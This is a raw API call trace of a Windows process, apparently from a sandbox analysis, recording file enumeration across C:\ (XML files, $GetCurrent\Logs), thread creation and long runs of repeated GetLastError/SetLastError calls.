	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1
	[0063.975] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1
	[0063.976] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1

Thread:
	id = 24
	os_tid = 0x490

	[0062.085] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x38) returned 0x272b738
	[0062.085] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x18) returned 0x272b778
	[0062.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e4
	[0062.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e8
	[0062.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ec
	[0062.085] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f00060
	[0062.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1213957, lpParameter=0x2ecf940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0062.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1213957, lpParameter=0x2ecf940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0062.087] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f10068
	[0062.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2ecf6b8 | out: lpFindFileData=0x2ecf6b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ecf8e0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xb994a8
	[0062.096] GetLastError () returned 0x0
	[0062.097] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x214) returned 0x2728d20
	[0062.097] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0062.097] GetCurrentThreadId () returned 0x490
	[0062.097] SetLastError (dwErrCode=0x0) 
	[0062.097] GetLastError () returned 0x0
	[0062.097] SetLastError (dwErrCode=0x0) 
	[0062.097] GetLastError () returned 0x0
	[0062.097] SetLastError (dwErrCode=0x0) 
	[0062.097] GetLastError () returned 0x0
	[0062.097] SetLastError (dwErrCode=0x0) 
	[0062.097] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] GetLastError () returned 0x0
	[0062.098] SetLastError (dwErrCode=0x0) 
	[0062.098] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f30078
	[0062.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2ecf434 | out: lpFindFileData=0x2ecf434*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0xb98e68
	[0062.100] FindNextFileW (in: hFindFile=0xb98e68, lpFindFileData=0x2ecf434 | out: lpFindFileData=0x2ecf434*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0062.100] FindNextFileW (in: hFindFile=0xb98e68, lpFindFileData=0x2ecf434 | out: lpFindFileData=0x2ecf434*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] GetLastError () returned 0x0
	[0062.101] SetLastError (dwErrCode=0x0) 
	[0062.101] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f40080
	[0062.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb98ea8
	[0062.102] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.102] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0062.102] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.103] SetLastError (dwErrCode=0x0) 
	[0062.103] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.104] GetLastError () returned 0x0
	[0062.104] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.105] GetLastError () returned 0x0
	[0062.105] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.106] SetLastError (dwErrCode=0x0) 
	[0062.106] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.107] SetLastError (dwErrCode=0x0) 
	[0062.107] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.108] SetLastError (dwErrCode=0x0) 
	[0062.108] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.109] GetLastError () returned 0x0
	[0062.109] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.110] SetLastError (dwErrCode=0x0) 
	[0062.110] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.111] SetLastError (dwErrCode=0x0) 
	[0062.111] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.112] SetLastError (dwErrCode=0x0) 
	[0062.112] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.113] GetLastError () returned 0x0
	[0062.113] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.114] SetLastError (dwErrCode=0x0) 
	[0062.114] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
